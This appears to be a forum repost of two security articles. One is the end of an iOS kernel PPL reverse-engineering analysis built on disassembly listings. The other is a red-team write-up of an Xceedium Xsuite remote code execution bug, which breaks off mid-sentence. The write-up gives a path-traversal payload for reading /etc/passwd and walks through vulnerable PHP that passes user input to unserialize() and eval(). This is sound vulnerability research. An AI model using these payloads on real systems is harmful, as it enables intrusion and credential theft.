fffffff0079e458c 0x91102000 ADD X0, X0, #1032 ; R0 = R0 + 0x408 = 0xfffffff008f85408 fffffff0079e4590 0x14010ff1 B 0xfffffff007a28554 ; _panic _panic ("ppl_dispatch: failed due to bad argument/state."); So, again, a check for > 68, on which we'd panic (and we know this function is ppl_dispatch!). OTherwise, a switch style jump (BLRAA X10 = Branch and Link Authenticated with Key A) to 0xfffffff0077c1f20 - the table we just discussed above. So what is this 0xfffffff008f70070? An integer, which is likely a boolean, since it gets STR'ed with one. We can call this one _ppl_initialized, or possible _ppl_locked. You'll have to ask AAPL for the symbol (or wait for iOS 13 β ;-). But I would go for _ppl_locked since there is a clear setting of this value to '1' in _machine_lockdown() (which I have yet to symbolicate in jtool2: _func_fffffff007b90664: fffffff007b90664 0xd503237f PACIBSP ; fffffff007b90668 0xa9bf7bfd STP X29, X30, [SP, #-16]! ; fffffff007b9066c 0x910003fd ADD X29, SP, #0 ; R29 = R31 + 0x0 fffffff007b90670 0x90009f08 ADRP X8, 5088 ; R8 = 0xfffffff008f70000 fffffff007b90674 0x320003e9 ORR W9, WZR, #0x1 ; R9 = 0x1 fffffff007b90678 0xb9007109 STR W9, [X8, #112] ; *0xfffffff008f70070 = R9 = 1 fffffff007b9067c 0x52800000 MOVZ W0, 0x0 ; R0 = 0x0 fffffff007b90680 0x52800001 MOVZ W1, 0x0 ; R1 = 0x0 fffffff007b90684 0x97f979b7 BL 0xfffffff0079eed60 ; _ppl_pmap_return _ppl_pmap_return(0,0); fffffff007b90688 0xa8c17bfd LDP X29, X30, [SP], #0x10 ; fffffff007b9068c 0xd50323ff AUTIBSP ; fffffff007b90690 0x17fffed6 B 0xfffffff007b901e8 ; Therefore, PPL will have been locked by the time _ppl_enter does anything. Meaning it will jump to 0xfffffff008f5bfe0. That's in _PPLTRAMP - right where we started. To save you scrolling up, let's look at this code, piece by piece: fffffff008f5bfe0 0xd53b4234 MRS X20, DAIF ; fffffff008f5bfe4 0xd50347df MSR DAIFSet, #7 ; #(DAIFSC_ASYNC | DAIFSC_IRQF | DAIFSC_FIQF) fffffff008f5bfe8 ---------- *MOVKKKK X14, 0x4455445564666677 ; fffffff008f5bff8 0xd51cf22e MSR ARM64_REG_APRR_EL1, X14 ; S3_4_C15_C2_1 fffffff008f5bffc 0xd5033fdf ISB ; fffffff008f5c000 0xd50347df MSR DAIFSet, #7 ; X - 0 0x0 fffffff008f5c004 ---------- *MOVKKKK X14, 0x4455445564666677 fffffff008f5c014 0xd53cf235 MRS X21, ARM64_REG_APRR_EL1 ; S3_4_C15_C2_1 fffffff008f5c018 0xeb1501df CMP X14, X21, ... ; fffffff008f5c01c 0x540005e1 B.NE 0xfffffff008f5c0d8 ; fffffff008f5c020 0xf10111ff CMP X15, #68 ; fffffff008f5c024 0x540005a2 B.CS 0xfffffff008f5c0d8 ; ... fffffff008f5c0d8 0xd280004f MOVZ X15, 0x2 ; R15 = 0x2 fffffff008f5c0dc 0xaa1403ea MOV X10, X20 ; fffffff008f5c0e0 0x14001fc3 B 0xfffffff008f63fec ; We start by reading the DAIF, which is the set of SPSR flags holding interrupt state. We then block all interrupts. Next, a load of a rather odd value into S3_4_C15_C2_1, which jtool2 (unlike *cough* certain Rubenesque disassemblers) can correctly identify as a special register - ARM64_REG_APRR_EL1. An Instruction Sync Barrier (ISB) follows, and then a check is made that the setting of the register "stuck". If it didn't, or if X15 is over 68 - we go to fffffff008f5c0d8. And you know where that's going, since X15 greater than 68 is an invalid operation. fffffff008f63fec ---------- *MOVKKKK X14, 0x4455445464666477 fffffff008f63ffc 0xd51cf22e MSR ARM64_REG_APRR_EL1, X14 fffffff008f64000 0xd5033fdf ISB ; fffffff008f64004 0xf1000dff CMP X15, #3 ; fffffff008f64008 0x54000520 B.EQ 0xfffffff008f640ac ; fffffff008f6400c 0xf27a095f TST X10, #448 ; fffffff008f64010 0x54000140 B.EQ 0xfffffff008f64038 ; fffffff008f64014 0xf27a055f TST X10, #192 ; fffffff008f64018 0x540000c0 B.EQ 0xfffffff008f64030 ; fffffff008f6401c 0xf278015f TST X10, #256 ; fffffff008f64020 0x54000040 B.EQ 0xfffffff008f64028 ; fffffff008f64024 0x14000006 B 0xfffffff008f6403c ; fffffff008f64028 0xd50344ff MSR DAIFClr, #4 ; (DAIF_ASYNC) fffffff008f6402c 0x14000004 B 0xfffffff008f6403c ; fffffff008f64030 0xd50343ff MSR DAIFClr, #3 ; (DAIF_IRQF) fffffff008f64034 0x14000002 B 0xfffffff008f6403c ; fffffff008f64038 0xd50347ff MSR DAIFClr, #7 ; (DAIF_FIQF) fffffff008f6403c 0xf10005ff CMP X15, #1 ; fffffff008f64040 0x54000380 B.EQ 0xfffffff008f640b0 ; fffffff008f64044 0xd538d08a MRS X10, TPIDR_EL1 ; fffffff008f64048 0xb944714c LDR W12, [X10, #1136] ; ...R12 = *(R10 + 1136) = *0x470 fffffff008f6404c 0x3500004c CBNZ X12, 0xfffffff008f64054 ; fffffff008f64050 0x17a9fedb B 0xfffffff0079e3bbc ; The register will be set to another odd value (6477), and then a check will be performed on X15, which won't pass, since we know it was set to 2 back in fffffff008f5c0d8. X10, if you look back, holds the DAIF, because it was moved from X20 (holding the DAIF from back in fffffff008f5bfe0), where X15 was set. This is corroborated by the TST/B.EQ which jump to clear the corresponding DAIF_.. flags. Then, at 0xfffffff008f6403c, another check on X15 - but remember it's 2. So no go. There is a check on the current thread_t (held in TPIDR_EL1) at offet 1136, and if not zero - We'll end up at 0x...79e3bbc which is: _func_fffffff0079e3bbc: fffffff0079e3bbc 0xd538d080 MRS X0, TPIDR_EL1 ; fffffff0079e3bc0 0xf81f0fe0 STR X0, [SP, #496]! ; *0xf80 = R0 fffffff0079e3bc4 0x10000040 ADR X0, #8 ; R0 = 0xfffffff0079e3bcc fffffff0079e3bc8 0x94011263 BL 0xfffffff007a28554 ; _panic _panic(0xfffffff0079e3bcc); fffffff0079e3bcc 0x65657250 DCD 0x65657250 ; fffffff0079e3bd0 0x6974706d LDP W13, W28, [X3, #0x1a0] ; fffffff0079e3bd4 0x63206e6f DCD 0x63206e6f ; fffffff0079e3bd8 0x746e756f __2DO 0x746e756f ; fffffff0079e3bdc 0x67656e20 DCD 0x67656e20 ; fffffff0079e3be0 0x76697461 __2DO 0x76697461 ; fffffff0079e3be4 0x6e6f2065 DCD 0x6e6f2065 ; fffffff0079e3be8 0x72687420 ANDS W0, W1, #50159344557 ; fffffff0079e3bec 0x20646165 DCD 0x20646165 ; fffffff0079e3bf0 0x00007025 DCD 0x7025 ; A call to panic, and funny enough though jtool v1 could show the string, jtool2 can't yet because it's embedded as data in code. JTOOL2 ISN'T PERFECT, AND, YES, PEDRO, IT MIGHT CRASH ON MALICIOUS BINARIES. But it works superbly well on AAPL binaries, and I don't see Hopper/IDA types getting this far without resorting to scripting and/or Internet symbol databases.. With that disclaimer aside, the panic is: # jtool v1 cannot do compressed kernel cache, so first you need jtool2 morpheus@Chimera (~) %jtool2 -dec ~/Downloads/kernelcache.release.iphone11 Decompressed kernel written to /tmp/kernel # Note the use of jtool v1's -dD, forcing dump as data. This will # eventually make it to jtool2. I just have other things to handle first.. morpheus@Chimera (~) %jtool -dD 0xfffffff0079e3bcc,100 /tmp/kernel Dumping from address 0xfffffff0079e3bcc (Segment: __TEXT_EXEC.__text) Address : 0xfffffff0079e3bcc = Offset 0x9dfbcc 0xfffffff0079e3bcc: 50 72 65 65 6d 70 74 69 Preemption count 0xfffffff0079e3bd4: 6f 6e 20 63 6f 75 6e 74 negative on thr 0xfffffff0079e3bdc: 20 6e 65 67 61 74 69 76 ead %p....8..... Which is the code of _preempt_underflow (from osfmk/arm64/locore.s) so it makes perfect sense. Else, we branch, go through ast_taken_kernel() (func_fffffff007a1e000, and AST are irrelevant for this discussion, and covered in Volume II anyway), and then to the very last snippet of code, which is the familiar error message we had encountered earlier: fffffff008f640a0 0xf10009ff CMP X15, #2 fffffff008f640a4 0x54000080 B.EQ 0xfffffff008f640b4 ; fffffff008f640a8 0xd65f0fff RETAB ; fffffff008f640ac 0xd61f0320 BR X25 ; fffffff008f640b0 0x17ab113a B 0xfffffff007a28598 ; _panic_trap_to_debugger fffffff008f640b4 0xb0000100 ADRP X0, 33 ; R0 = 0xfffffff008f85000 fffffff008f640b8 0x91102000 ADD X0, X0, #1032 ; R0 = R0 + 0x408 = 0xfffffff008f85408 fffffff008f640bc 0x17ab1126 B 0xfffffff007a28554 ; _panic morpheus@Chimera (~) %jtool2 -d 0xfffffff008f85408 ~/Downloads/kernelcache.release.iphone11 0xfffffff008f85408: 70 70 6C 5F 64 69 73 70 ppl_disp 0xfffffff008f85410: 61 74 63 68 3A 20 66 61 atch: fa 0xfffffff008f85418: 69 6C 65 64 20 64 75 65 iled due 0xfffffff008f85420: 20 74 6F 20 62 61 64 20 to bad 0xfffffff008f85428: 61 72 67 75 6D 65 6E 74 argument 0xfffffff008f85430: 73 2F 73 74 61 74 65 00 s/state. ... The APRR Register So what are the references to S3_4_C15_C2_1, a.k.a ARM64_REG_APRR_EL1 ? The following disassembly offers a clue. fffffff0079e30fc 0xd53cf220 MRS X0, ARM64_REG_APRR_EL1 ; fffffff0079e3100 ---------- *MOVKKKK X1, 0x4455445464666477 ; fffffff0079e310c 0xf28c8ee1 MOVK X1, 0x6477 ; R1 += 0x6477 = 0x445544446c049bfb fffffff0079e3110 0xeb01001f CMP X0, X1, ... ; fffffff0079e3114 0x540067e1 B.NE 0xfffffff0079e3e10 ; .. _func_fffffff0079e3e10 fffffff0079e3e10 0xa9018fe2 STP X2, X3, [SP, #24] ; fffffff0079e3e14 0xb000ac61 ADRP X1, 5517 ; R1 = 0xfffffff008f70000 fffffff0079e3e18 0xb9407021 LDR W1, [X1, #112] ; ...R1 = *(R1 + 112) = *0xfffffff008f70070 fffffff0079e3e1c 0xb4000e21 CBZ X1, 0xfffffff0079e3fe0 ; fffffff0079e3e20 ---------- *MOVKKKK X1, 0x4455445564666677 ; fffffff0079e3e30 0xeb01001f CMP X0, X1, ... ; fffffff0079e3e34 0x54000001 B.NE 0xfffffff0079e3e34 ; We see that the value of the register is read into X0, and compared to 0x4455445464666477. If it doesn't match, a call is made to ..fffffff0079e3e10, which checks the value of our global at 0xfffffff008f70070. If it's 0, we move elsewhere. Otherwise, we check that the register value is 0x4455445564666677 - and if not, we hang (fffffff0079e3e34 branches to itself on not equal). In other words, the value of the 0xfffffff008f70070 global correlates with 0x4455445564666477 and 4455445564666677 (I know, confusing, blame AAPL, not me) in ARM64_REG_APRR_EL1 - implying that the register provides the hardware level lockdown, whereas the global tracks the state. DARTs, etc We still haven't looked at the __PPLDATA_CONST.__const. Let's see what it has (Removing the companion file so jtool2 doesn't symbolicate and blow the suspense just yet): minor note: I had to switch to another machine since my 2016 MBP's keyboard just spontaneously DIED ON ME while doing this. $#%$#%$# device won't boot from a bluetooth keyboard, so after I had to reboot it, I can't get in past the EFI screen till I get a USB keyboard (and hope that works). I'm using a slightly different kernel, but addresses are largely the same) morpheus@Bifröst (~) % jtool2 -d __PPLDATA_CONST.__const ~/Downloads/kernelcache.release.iphone11 Dumping 192 bytes from 0xfffffff008f68000 (Offset 0x1f64000, __PPLDATA_CONST.__const): 0xfffffff008f68000: 0xfffffff00747542d "ans2_sart" 0xfffffff008f68008: 03 00 01 00 b7 da ad de 0xfffffff008f68010: 0xfffffff008f541cc __func_0xfffffff008f541cc 0xfffffff008f68018: 0xfffffff008f5455c __func_0xfffffff008f5455c 0xfffffff008f68020: 0xfffffff008f54568 __func_0xfffffff008f54568 0xfffffff008f68028: 0xfffffff008f5479c __func_0xfffffff008f5479c 0xfffffff008f68030: 0xfffffff008f54564 __func_0xfffffff008f54564 0xfffffff008f68038: 0xfffffff008f5430c __func_0xfffffff008f5430c 0xfffffff008f68040: 0xfffffff007475813 "t8020dart" 0xfffffff008f68048: 03 00 01 00 b7 da ad de 0xfffffff008f68050: 0xfffffff008f54a14 __func_0xfffffff008f54a14 0xfffffff008f68058: 0xfffffff008f559c8 __func_0xfffffff008f559c8 0xfffffff008f68060: 0xfffffff008f55df0 __func_0xfffffff008f55df0 0xfffffff008f68068: 0xfffffff008f56858 __func_0xfffffff008f56858 0xfffffff008f68070: 0xfffffff008f55dec __func_0xfffffff008f55dec 0xfffffff008f68078: 0xfffffff008f55280 __func_0xfffffff008f55280 0xfffffff008f68080: 0xfffffff007475931 "nvme_ppl" 0xfffffff008f68088: 03 00 01 00 b7 da ad de 0xfffffff008f68090: 0xfffffff008f56978 __func_0xfffffff008f56978 0xfffffff008f68098: 0xfffffff008f5708c __func_0xfffffff008f5708c 0xfffffff008f680a0: 0xfffffff008f57098 __func_0xfffffff008f57098 0xfffffff008f680a8: 0xfffffff008f572e0 __func_0xfffffff008f572e0 0xfffffff008f680b0: 0xfffffff008f57094 __func_0xfffffff008f57094 0xfffffff008f680b8: 0xfffffff008f56df8 __func_0xfffffff008f56df8 We see what appears to be three distinct structs here, identified as "ans2_sart", "t8020dart" and "nvme_ppl". (DART = Device Address Resolution Table). There are also six function pointers in each, and (right after the structure name) what appears to be three fields - two 16-bit shorts (0x0003, 0x0001) and some magic (0xdeaddab7). It's safe to assume, then, that if we find the symbol names for a function at slot x, corresponding functions for the other structures at the same slot will be similarly named. Looking through panic()s again, we find error messages which show us that 0xfffffff008f541cc is an init(), 0xffffff008f54568 is a map() operation, and 0xfffffff008f5479c is an unmap(). Some of these calls appear to be noop in some cases, and fffffff008f55280 has a switch, which implies it's likely an ioctl() style. Putting it all together, we have: 0xfffffff008f68010: 0xfffffff008f541cc _ans2_sart_init 0xfffffff008f68018: 0xfffffff008f5455c _ans2_unknown1_ret0 0xfffffff008f68020: 0xfffffff008f54568 _ans2_map 0xfffffff008f68028: 0xfffffff008f5479c _ans2_unmap 0xfffffff008f68030: 0xfffffff008f54564 _ans2_sart_unknown2_ret 0xfffffff008f68038: 0xfffffff008f5430c _ans2_sart_ioctl_maybe which we can then apply to the NVMe and T8020DART. Note these look exactly like the ppl_map_iommu_ioctl* symbols we could obtain from the __TEXT.__cstring, with two unknowns remaining, possibly for allocating and freeing memory. However, looking at __PPLTEXT we find no references to our structures. So we have to look through the kernel's __TEXT__EXEC.__text instead. Using jtool2's disassembly with grep(1) once more, this is easy and quick: # grep only the prefix fffffff008f680... since we know that anything with that range # falls in the __PPL_CONST.__const Bifröst:Downloads morpheus$ jtool2 -d ~/Downloads/kernelcache.release.iphone11 | grep fffffff008f680 Disassembling 22431976 bytes from address 0xfffffff0079dc000 (offset 0x9d8000): fffffff007b9e028 0xd0009e40 ADRP X0, 5066 ; R0 = 0xfffffff008f68000 fffffff007b9e02c 0x91000000 ADD X0, X0, #0 ; R0 = R0 + 0x0 = 0xfffffff008f68000 fffffff007b9e034 0xd0009e40 ADRP X0, 5066 ; R0 = 0xfffffff008f68000 fffffff007b9e038 0x91010000 ADD X0, X0, #64 ; R0 = R0 + 0x40 = 0xfffffff008f68040 fffffff007b9e0f0 0xd0009e40 ADRP X0, 5066 ; R0 = 0xfffffff008f68000 fffffff007b9e0f4 0x91020000 ADD X0, X0, #128 ; R0 = R0 + 0x80 = 0xfffffff008f68080 It's safe to assume, then, that the corresponding functions are "...art_get_struct" or something, so I added them to jokerlib as well, though I couldn't off hand find any references to these getters. Other observations Pages get locked down by PPL at the Page Table Entry level. There are a few occurrences of code similar to this: fffffff008f485c4 0xb6d800f3 TBZ X19, #59, 0xfffffff008f485e0 ; fffffff008f485c8 0x927dfb28 AND X8, X25, #0xfffffffffffffff8 ; fffffff008f485cc 0xa900efe8 STP X8, X27, [SP, #8] ; fffffff008f485d0 0xf90003f6 STR X22, [SP, #0] ; *0x0 = R22 fffffff008f485d4 0xb0ff2940 ADRP X0, 2090281 ; R0 = 0xfffffff007471000 fffffff008f485d8 0x910e3800 ADD X0, X0, #910 ; R0 = R0 + 0x38e = 0xfffffff00747138e fffffff008f485dc 0x97ab7fda BL 0xfffffff007a28544 ; _panic _panic(""pmap_page_protect: ppnum 0x%x locked down, cannot be owned by iommu 0x%llx, pve_p=%p""); And this: fffffff008f482e8 0xf245051f TST X8, #0x180000000000000 ; fffffff008f482ec 0x540000c0 B.EQ 0xfffffff008f48304 ; fffffff008f482f0 0x92450d08 AND X8, X8, 0x7800000000000000 ; fffffff008f482f4 0xa90023f5 STP X21, X8, [SP, #0] ; fffffff008f482f8 0xb0ff2940 ADRP X0, 2090281 ; R0 = 0xfffffff007471000 fffffff008f482fc 0x910bf400 ADD X0, X0, #765 ; R0 = R0 + 0x2fd = 0xfffffff0074712fd fffffff008f48300 0x97ab8091 BL 0xfffffff007a28544 ; _panic _panic(""%#lx: already locked down/executable (%#llx)""); Which suggests that two bits are used: 59 and 60 - 59 is likely locked down, 60 is executable. @S1guza (who meticulously reviewed this article) notes that these are the PBHA fields - Page based Hardware Attribute bits, and they can be IMPLEMENTATION DEFINED: Takeaways (or TL;DR) Most people will just run jtool2 --analyze on the kernelcache, then take the symbols and upload them to IDA. This writeup shows you the behind-the-scenes of the analysis, as well as explains the various PPL facility services. 0xfffffff0077c1f20: 0xfffffff008f52ee4 _ppl_pmap_arm_fast_fault_maybe 0xfffffff0077c1f28: 0xfffffff008f51e4c _ppl_pmap_arm_fast_fault2_maybe 0xfffffff0077c1f30: 0xfffffff008f52a30 _ppl_mapping_free_prime_internal 0xfffffff0077c1f38: 0xfffffff008f525dc _ppl_mapping_replenish_internal 0xfffffff0077c1f40: 0xfffffff008f51c4c _ppl_phys_attribute_clear_internal 0xfffffff0077c1f48: 0xfffffff008f51ba0 _ppl_phys_attribute_set_internal 0xfffffff0077c1f50: 0xfffffff008f518f4 _ppl_batch_set_cache_attributes_internal 0xfffffff0077c1f58: 0xfffffff008f5150c _ppl_pmap_change_wiring_internal 0xfffffff0077c1f60: 0xfffffff008f50994 _ppl_pmap_create_internal 0xfffffff0077c1f68: 0xfffffff008f4f59c _ppl_pmap_destroy_internal 0xfffffff0077c1f70: 0xfffffff008f4de6c _ppl_pmap_enter_options_internal 0xfffffff0077c1f78: 0xfffffff008f4dcac _ppl_pmap_extract_internal 0xfffffff0077c1f80: 0xfffffff008f4dae4 _ppl_pmap_find_phys_internal 0xfffffff0077c1f88: 0xfffffff008f4d7e8 _ppl_pmap_insert_shared_page_internal 0xfffffff0077c1f90: 0xfffffff008f4d58c _ppl_pmap_is_empty_internal 0xfffffff0077c1f98: 0xfffffff008f4d1ec _ppl_map_cpu_windows_copy_internal 0xfffffff0077c1fa0: 0xfffffff008f4cef8 _ppl_pmap_mark_page_as_ppl_page_internal 0xfffffff0077c1fa8: 0xfffffff008f4c038 _ppl_pmap_nest_internal 0xfffffff0077c1fb0: 0xfffffff008f48420 _ppl_pmap_page_protect_options_internal 0xfffffff0077c1fb8: 0xfffffff008f4bacc _ppl_pmap_protect_options_internal 0xfffffff0077c1fc0: 0xfffffff008f4b754 _ppl_pmap_query_page_info_internal 0xfffffff0077c1fc8: 0xfffffff008f4b458 _ppl_pmap_query_resident_internal 0xfffffff0077c1fd0: 0xfffffff008f4b3a0 _ppl_pmap_reference_internal 0xfffffff0077c1fd8: 0xfffffff008f4afc4 _ppl_pmap_remove_options_internal 0xfffffff0077c1fe0: 0xfffffff008f4afbc _ppl_pmap_return_internal 0xfffffff0077c1fe8: 0xfffffff008f4acec _ppl_pmap_set_cache_attributes_internal 0xfffffff0077c1ff0: 0xfffffff008f4ac38 _ppl_pmap_set_nested_internal 0xfffffff0077c1ff8: 0xfffffff008f4ac34 _ppl_pmap_0x1b_internal 0xfffffff0077c2000: 0xfffffff008f4aa78 _ppl_pmap_switch_internal 0xfffffff0077c2008: 0xfffffff008f4a8b0 _ppl_pmap_switch_user_ttb_internal 0xfffffff0077c2010: 0xfffffff008f4a8a0 _ppl_pmap_clear_user_ttb_internal 0xfffffff0077c2018: 0xfffffff008f4a730 _ppl_pmap_unmap_cpu_windows_copy_internal 0xfffffff0077c2020: 0xfffffff008f4a09c _ppl_pmap_unnest_options_internal 0xfffffff0077c2028: 0xfffffff008f4a098 _ppl_pmap_0x21_internal 0xfffffff0077c2030: 0xfffffff008f49fbc _ppl_pmap_cpu_data_init_internal 0xfffffff0077c2038: 0xfffffff008f49d0c _ppl_pmap_0x23_internal 0xfffffff0077c2040: 0xfffffff008f49c08 _ppl_pmap_set_jit_entitled_internal 0xfffffff0077c2048: 0xfffffff008f49940 _ppl_pmap_initialize_trust_cache 0xfffffff0077c2050: 0xfffffff008f494c0 _ppl_pmap_load_trust_cache_internal 0xfffffff0077c2058: 0xfffffff008f492e8 _ppl_pmap_is_trust_cache_loaded 0xfffffff0077c2060: 0xfffffff008f47d54 _ppl_pmap_check_static_trust_cache 0xfffffff0077c2068: 0xfffffff008f47d58 _ppl_pmap_check_loaded_trust_cache 0xfffffff0077c2070: 0xfffffff008f46ea0 _ppl_pmap_cs_register_cdhash_internal 0xfffffff0077c2078: 0xfffffff008f46a50 _ppl_pmap_cs_unregister_cdhash_internal 0xfffffff0077c2080: 0xfffffff008f45ef8 _ppl_pmap_cs_associate_internal_options 0xfffffff0077c2088: 0xfffffff008f45ca0 _ppl_pmap_cs_lookup_internal 0xfffffff0077c2090: 0xfffffff008f45a80 _ppl_pmap_cs_check_overlap_internal 0xfffffff0077c2098: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20a0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20a8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20b0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20b8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20c0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20c8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20d0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20d8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20e0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20e8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20f0: 0xfffffff008f457b8 _ppl_pmap_iommu_init_internal 0xfffffff0077c20f8: 0xfffffff008f456e4 _ppl_pmap_iommu_unknown1_internal 0xfffffff0077c2100: 0xfffffff008f455c8 _ppl_pmap_iommu_map_internal 0xfffffff0077c2108: 0xfffffff008f454bc _ppl_pmap_iommu_unmap_internal 0xfffffff0077c2110: 0xfffffff008f45404 _ppl_pmap_iommu_unknown_internal 0xfffffff0077c2118: 0xfffffff008f45274 _ppl_pmap_iommu_ioctl_internal 0xfffffff0077c2120: 0xfffffff008f446c0 _ppl_pmap_trim_internal 0xfffffff0077c2128: 0xfffffff008f445b0 _ppl_pmap_ledger_alloc_init_internal 0xfffffff0077c2130: 0xfffffff008f441dc _ppl_pmap_ledger_alloc_internal 0xfffffff0077c2138: 0xfffffff008f44010 _ppl_pmap_ledger_free_internal 0xfffffff0077c2140: 00 00 00 00 00 00 00 00 ........ PPL Protected pages are marked using otherwise unused PTE bits (#59 - PPL, #60 - executable). PPL likely extends to IOMMU/T8020 DART and the NVMe (to foil Ramtin Amin style attacks, no doubt). The special APRR register locks down at the hardware level, similar to KTRR's special registers. Access to these PPL protected pages can only be performed from when the APRR register is locked down (0x4455445564666677). This happens on entry to the Trampoline. On exit from the Trampoline code the register is set to 0x4455445464666477. i.e. ...6677 locks, ...6477 unlocks Why AAPL chose these values, I have no idea (DUDU? Dah Dah?). But checking for the magic (by MRSing) will tell you if the system is PPL locked down or not. For those of you who use IDA, get them to update their special registers already. And add jtool2's/disarm's :-). The APRR_EL1 is S3_4_C15_C2_1. There's APRR_EL0 (S3_4_C15_C2_0) and some mask register in S3_4_C15_C2_6. There may be more. A global in kernel memory is used as an indication that PPL has been locked down The PPL service table (entered through _ppl_enter and with functions all in the __PPLTRAMP.__text) can be found and its services are enumerable, as follows: To get these (~150) PPL symbols yourself, on any kernelcache.release.iphone11, simply use the jtool2 binary, and export PPL=1. This is a special build for this article - in the next nightly this will be default. Q&A When is Volume II coming out? In a matter of weeks, I hope Advertisement There's another MOXiI training set for March 11th-15th in NYC again. Right after is the followup to MOXiI - applied *OS Security/Insecurity - in which I discuss PPL, KTRR, APRR, KPP, AMFI, and other acronyms Greets @S1guza - for a thorough review of the article, and reading the ARM64 specs like few have or ever will. Luca - for reviewing and redacting the reason why the article's namesake applies in more than one way :-).. and pointing out he gave a talk on this at Tensec and BlueHat.il which is well worth reading. Sursa: http://newosxbook.com/articles/CasaDePPL.html
  7. Remote Code Execution — Gaining Domain Admin due to a typo CVE-2018–9022 Daniel C Mar 1 Firstly, apologies for the click-bait title, I did refrain from creating a custom website and logo so I believe this is a fair compromise. :) A short time ago as part of a red team engagement I found and successfully exploited a remote code execution vulnerability that resulted in us quickly gaining high privilege access to the customers internal network. So far nothing sounds too out of the ordinary, however interestingly the root cause of this vulnerability was due to a two character typo. The advisory can be found here. Note: I realise this blog post would be much better if I included some additional screenshots, however I did not want to risk accidentally revealing information about our client. Enumeration After performing some basic enumeration I found a subdomain belonging to the target organisation which proudly stated “Powered by Xceedium Xsuite”. After a bit of googling I stumbled across an exploit-db article containing several vulnerabilities in Xsuite, including unauthenticated command injection, reflected cross-site scripting, arbitrary file read, and a local privilege escalation vulnerability. Easy, right? Arbitrary File Read Unfortunately, due to the targets configuration the command injection vulnerability did not work, the privilege escalation requires prior access to the device, and where possible I wanted to avoid user interaction (so cross-site scripting is a no-no). This left us with the arbitrary file read: /opm/read_sessionlog.php?logFile=....//....//....//etc/passwd Naturally, the only ports that could be accessed over the internet were 80 & 443. Despite being able to read various hashes from the /etc/passwd file, they were useless to us: sshtel:ssC/xRTT<REDACTED>:300:99:sshtel:/tmp:/usr/bin/telnet sftpftp:$1$7vs1J<REDACTED>:108:108:/home/sftpftp At this point I believed the best way forward was to find the hosts document_root, and to start downloading source code. I could then manually audit the code with the intention of finding additional vulnerabilities in Xceedium Xsuite. After reading numerous Apache configuration files the document_root was found: /var/www/htdocs/uag/web/ So far we only know the location of two pages: /var/www/htdocs/uag/web/opm/read_sessionlog.php /var/www/htdocs/uag/web/login.php The source code for both of these files was downloaded using the arbitrary file read and reviewed to find references to any other PHP or configuration files. These were also downloaded. Whilst this process could have been scripted, it was decided that since I would be auditing the code, I may as well manually retrieve the source code during the auditing process (This also has the added benefit of limiting requests to the target host). After a day of manually downloading and auditing PHP I believed I had a good enough understanding of how the application works and had found a few bugs/interesting functions. In addition to the RCE outlined in this post, other vulnerabilities were found along the way such as an additional arbitrary file read and various SQL injection issues. As I could already read local files & no database appeared to be configured, these were useless. My only interest at this point was RCE. The road to code execution One of the interesting functions I had highlighted was linkDB() which reads the contents of /var/uag/config/failover.cfg line by line and passes it to the eval() function. This means that if we somehow find a method to write PHP code to failover.cfg, we may then be able to call the linkDB()function to execute remote code on the host. Interesting, but we currently have no control over failover.cfg or its contents. /var/www/htdocs/uag/functions/DB.php function linkDB($db, $dbtype='', $action = "die") { global $dbchoices, $sync_on, $members, $shared_key; if(!$dbchoices){ $dbchoices = array("mysql", "<REDACTED>", "<REDACTED>"); } //reads file into array & saves to $synccfg $synccfg = file("/var/uag/config/failover.cfg"); //iterates through contents of array foreach ($synccfg as $line) { $line = trim($line); $keyval = explode("=", $line); //saves contents to $cmd variable $cmd ="\$param_".$keyval[0]."=\"".$keyval[1]."\";"; //evaluates the contents of the $cmd variable eval($cmd); } … } After a while I located the functionality that populates /var/uag/config/failover.cfg (This code has been modified slightly to avoid including numerous lines of string parsing!). /var/www/htdocs/uag/functions/activeActiveCmd.php function putConfigs($post) { … $file = "/var/uag/config/failover.cfg"; $post = unserialize(base64_decode($post)); <-- ignore this ;) … $err = saveconfig($file, $post); … } To summarise: We now know the contents of failover.cfg are passed to eval(), which may lead to code execution. We know the putConfigs() function takes a parameter, passes it to base64_decode(), passes it to unserialize() (again, let’s just pretend you never saw this!) and then saves it to failover.cfg Now we need to see where the $post variable that is used in putConfigs() originates from and if we have any control over it. /var/www/htdocs/uag/functions/activeActiveCmd.php function activeActiveCmdExec($get) { … // process the requested command switch ($get["cmdtype"]) { … case "CHECKLIST": confirmCONF($get); break; case "PUTCONFS" : putConfigs($get["post"]); break; … } So the $get parameter being passed to putConfigs() originates from a parameter being passed to the activeActiveCmdExec() function. /var/www/htdocs/uag/functions/ajax_cmd.php if ($_GET["cmd"] == "ACTACT") { if (!isset($_GET['post'])) { $matches = array(); preg_match('/.*\&post\=(.*)\&?$/', $_SERVER['REQUEST_URI'], $matches); $_GET['post'] = $matches[1]; } activeActiveCmdExec($_GET); } So activeActiveCmdExec() takes direct user input. This means we can directly control the input to activeActiveCmdExec(), which is then passed to putConfigs(), base64_decode(), unserialize(), and finally saved into /var/uag/config/failover.cfg. We can now create a serialized, base64 encoded request that will be saved into failover.cfg, afterwards we can then invokelinkDB() which will pass the file containing our malicious code to eval() and we have achieved code execution… Or so I thought. As we will be overwriting a configuration file, one mistake and we may brick the device and have a rather unhappy customer on our hands. Even if we don’t brick the device, we may only get one chance at writing to the config file. Because of this I decided to err on the side of caution and took the relevant parts of code and test our exploit locally. After a few attempts I was getting the message “BAD SHARED KEY”. Unfortunately I had overlooked something at the beginning of the activeActiveCmdExec() function: /var/www/htdocs/uag/functions/activeActiveCmd.php function activeActiveCmdExec($get) { // check provided shared key $logres = checkSharedKey($get["shared_key"]); if (!$logres) { echo "BAD SHARED KEY"; exit(0); } … } The function checks a valid shared key is passed via the $get variable. Without a legitimate key we cannot reach the functionality necessary to write our code to the failover.cfg file, we cannot invokelinkDB() to evaluate our code, and we cannot execute code on the remote host… At this point I believed it may be time to go back to the drawing board and find a new method to attack the host (unsanitised user input being passed to unserialize() perhaps?). Fortunately as I have the ability to read local files, the shared key may be hard coded in the source code or saved in a readable 